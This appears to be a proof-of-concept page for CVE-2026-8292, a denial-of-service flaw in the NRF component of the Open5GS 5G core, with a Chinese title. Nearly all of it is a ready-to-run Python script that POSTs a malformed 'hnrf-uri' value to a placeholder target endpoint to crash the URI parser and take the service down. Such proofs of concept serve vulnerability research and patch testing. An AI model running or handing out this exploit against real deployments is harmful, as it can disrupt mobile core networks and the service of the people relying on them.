CVE-2026-8292 Open5GS NRF组件拒绝服务漏洞

# Proof of Concept for CVE-2026-8292 # This script attempts to trigger the DoS by sending a malformed hnrf-uri to the NRF component. import requests def trigger_dos(target_url): # Malformed hnrf-uri parameter designed to crash yuarel_parse malicious_payload = { "hnrf-uri": "http://%%%@%%%/invalid" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=malicious_payload, timeout=5) print(f"Request sent. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed (Service might be down): {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://<target-ip>:<port>/nrf-nf-management" trigger_dos(target)